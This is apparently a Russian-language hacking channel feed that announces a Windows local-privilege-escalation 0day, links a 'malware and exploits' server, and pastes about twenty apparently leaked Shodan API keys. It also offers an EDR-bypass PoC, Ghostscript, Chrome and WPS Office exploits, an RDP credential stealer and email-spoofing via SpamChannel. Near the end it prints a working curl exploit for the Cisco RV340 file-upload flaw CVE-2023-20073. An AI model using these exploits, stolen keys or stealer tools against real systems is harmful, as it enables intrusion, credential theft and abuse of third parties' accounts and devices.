Анонс
LPE 0day
win 10 - 11
win_srv 2012 - 2016 - 2019 - 2022

malware and #exploits
http://103.89.15.53/

SHODAN keys успевайте

OefcMxcunkm72Po71vVtX8zUN57vQtAC
PSKINdQe1GyxGgecYz2191H2JoS9qvgD
pHHlgpFt8Ka3Stb5UlTxcaEwciOeF2QM
61TvA2dNwxNxmWziZxKzR5aO9tFD00Nj
xTbXXOSBr0R65OcClImSwzadExoXU4tc
EJV3A4Mka2wPs7P8VBCO6xcpRe27iNJu
mEuInz8UH1ixLGJq4oQhEiJORERVG5xc
lkY0ng0XMo29zEhzyw3ibQfeEBxghwPF
syeCnFndQ8TE4qAGvhm9nZLBZOBgoLKd
7TeyFZ8oyLulHwYUOcSPzZ5w3cLYib61
v4YpsPUJ3wjDxEqywwu6aF5OZKWj8kik
dTNGRiwYNozXIDRf5DWyGNbkdiS5m3JK
kdnzf4fsYWQmGajRDn3hB0RElbUlIaqu
boYedPn8iDWi6GDSO6h2kz72VLt6bZ3S
FQNAMUdkeqXqVOdXsTLYeatFSpZSktdb
OygcaGSSq46Lg5fZiADAuFxl4OBbn7zm
XAbsu1Ruj5uhTNcxGdbGNgrh9WuMS1B6
nkGd8uVE4oryfUVvioprswdKGmA5InzZ
XYdjHDeJM36AjDfU1feBsyMJIj8XxGzD
EBeU0lGqtIO6yCxVFCWC4nUVbvovtjo5

VED-eBPF: Kernel Exploit and Rootkit Detection using eBPF
Go

#linux #kernel

Defcon 31 начинает приносить свои первые плоды
POC для обхода EDR в рамках злоупотребления Windows containers framework
download

#edr #bypass #defcon

Утры

Продолжаем публиковать материалы с DefCon 31
SpamChannel
Подделка писем с любого домена с помощью MailChannels (+2 миллиона доменов)
Упор как всегда на DNS записи SPF и DMARC
Пыщь/download

CVE-2023-36664
Ghostnoscript command injection vulnerability PoC exploit
exploit

#ghostScript #exploit

DllNotificationInection
Используя концепцию обратных вызовов уведомлений DLL в локальных и удаленных процессах можно вызвать Calc )
*
WriteUp "must have"
*
POC

WPS Office RCE
Версии: WPS Office 2023 и WPS Office 2019
writeUp
ProofOfConcept

Если нужно быстро сориентироваться по системным вызовам ядра Linux.
Числа и параметры для различных архитектур и версий ядра.
https://syscalls.mebeim.net

#linux #syscalls #arch

Вам пишет сам сатана !
Демонстрация SpamChannel
https://www.youtube.com/watch?v=61PIOBp30vA

Я календарь переверну
И снова RATник в сентябре

RDP Credential Stealer
*
download
*
HowToUse

#win #rdp

Тревожные кадры, а еще там xmprpc есть
http://dramaalert.com/wp-includes/

CVE-2023-3079 google chrome
*
exploit

Что, если вы запустите сканирование nmap и ВСЕ 65535 портов будут открыты?

-A PREROUTING -i eth0 -p tcp -m tcp --dport 23:65535 -j REDIRECT --to-ports 4444 

Где 4444 HoneyPot, например.

#HA-HA

dir-300 еще никогда не был так опасен 😀

CVE-2023-20073
Загрузка произвольного файла без проверки подлинности (XSS) в VPN-маршрутизаторах:
Cisco RV340, RV340W, RV345, RV345P
Usage:
#!/usr/bin/bash
TARGET="https://0.0.0.0"; \
FILENAME="login.html"; \
echo "<b>CVE-2023-20073</b> exploit test.<br><noscript>alert('JS-test')</noscript>" > $FILENAME; \
curl -ksX POST "$TARGET/api/operations/ciscosb-file:form-file-upload" -H "Authorization: 1" -F "pathparam=Portal" -F "fileparam=${FILENAME}" -F "file.path=${FILENAME}" -F "file=@${FILENAME};type=application/octet-stream"; \
echo "Access the uploaded file through the following link: $TARGET/$FILENAME"

#cisco

Отслеживание интересной малвари для Linux (и UNIX).
Трэкнуть

#linux #malware

OWASP Top 10 - video
*
download